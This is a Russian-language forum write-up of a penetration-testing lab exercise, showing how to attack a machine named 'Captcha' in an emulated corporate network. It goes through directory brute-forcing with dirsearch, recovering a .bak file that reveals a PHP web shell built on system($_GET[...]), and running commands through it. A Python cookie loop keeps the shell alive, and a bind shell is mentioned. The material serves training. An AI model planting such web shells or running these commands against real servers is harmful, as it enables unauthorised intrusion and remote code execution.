Глава 8
Предыдущая глава
Следующая глава
Оглавление
Доброго времени суток колеги. Очередная статья к вашему вниманию об пентесте эмулированной корпоративной сети.Сегодня мы с вами снова затроним Web Application Pentesting.
- Вспомним про поиск директорий и файлов на сайте через утилиту dirsearch
- Найдем ошибки в конфигурации администратора веб приложения
- Научимся выполнять удаленные команды на вебсервере через найденный встроенный веб шелл
Будем атаковать сегодня машину,которая на топологии сети обозначена как
Captcha(192.168.0.7)
Ну что же, давайте приступим.
Сперва как обычно пробросим порт:
SSH> -L 80:192.168.0.7:80
Откроем браузер,посмотрим что там у нас:
Похоже на какой то сервис по проверке капчи,только вот саму капчу не видно,видимо картинка не прогрузилась.
Давайте попытаемся обратится по пути картинки (правой кнопкой мышки - копировать путь картинки,и вставим в адресной строке)
примерно такая ссылка у нас:
http://127.0.0.1/sources/473e95ed33afad031b9ef4e66128496ce66b4645f850e91651 fdee05f1eaafccd6db3b927d55165bda6523a917a84c698875 513082117f7be857875bff89d4b03c2f52b2e29879ec58c905 46a5a3b5889f48c48f609ba907350d717c682177e8b2f0f1/captcha.png
Как видим ошибку сервера... Хмм.. Странно.. Давайте поищим директории и файлы утилитой DirSearch:
Как видим нашло два текстовых файла:
/readme.txt
/robots.txt
Смотрим их и видим что в файле robots.txt скрыто от индексирования поисковыми роботами файлы с расширением *.bak. В readme.txt пишут что бы не забыли поудалять все кешированые капчи.
Хм... Видимо бекапы какие то где то лежат и удаляются время от времени... Поискал на сервере возможные бекапы:
index.bak
index.php.bak
config.bak
config.php.bak
и т.д.
Но увы это не дало никаких результатов...
Затем вспоминаем нашу непонятную картинку и пробуем вместо .png указать разрешение .bak
Видим нам предлагает сохранить файл.Ну что ж сохраним и посмотрим что в нем:
Ухты) Получаем подсказку в виде кусочка кода на PHP:
КАПЧА сказал(а):
file_put_contents($session_path. /captcha, serialize($_SESSION)); - в случае обращения по $session_path/captcha - на вывод вернется сеарилизованый обьект масива $_SESSION
file_put_contents($session_path. /($_SESSION).php, ?php system($_GET[session]); ? -- а это уже вшитый веб шел
Давайте сначала глянем на сериализованый обьект $_SESSION:
a:1:{s:2:"id";s:198:"e3799776f4aa6ee753dd41b16c496 f2166584b1c0749c7ae3d656284a4d68361c23f4cbd11d034e e483d583650556a8117fb7e68c73e6fce77bb16f0a9e16d5a7 10e1c8fb144ead4b8b1479faa0252ea00134fd441e0a089313 8489db02eee1805141a";}
Вот наш масив
$_SESSIONс одним значением
id:
Давайте попробуем заюзать вшитый веб шел:
DarkNode WebShell сказал(а):
http://127.0.0.1/sources/473e95ed33afad031b9ef4e66128496ce66b4645f850e91651 fdee05f1eaafccd6db3b927d55165bda6523a917a84c698875 513082117f7be857875bff89d4b03c2f52b2e29879ec58c905 46a5a3b5889f48c48f609ba907350d717c682177e8b2f0f1/($_SESSION).php?session=id
Но если мы попытаемся выполнить другую команду - то получим 500 ошибку от веб сервера,так как файлы удаляются спустя некоторое время а сессия умерает. Для того что бы придержать файлы на сервере я создам бесконечный цикл обращения по одной куки к главной странице,тогда файлы будут оставатся на месте.
Куки посмотреть можно прям в браузере,любым аддоном для кук браузера или же как я в инженерном меню браузера (в моем случае Firefox)
Далее мой любимий питон и простенький бесконечный цикл обращение с нашими куками:
[hidepl="3,1"]
Python:
Код:
#!/usr/bin/env python
import
requests
url
=
"http://127.0.0.1"
headers
=
{
"Cookie"
:
"PHPSESSID=sqs56fn6j5gl102l1e7g834280"
}
while
True
:
requests
.
get
(
url
,
headers
=
headers
)
[/hidepl]
После чего можно спокойно поднимать bind shell:
Забираем токен
Предыдущая глава
Следующая глава
Оглавление
Всем спасибо)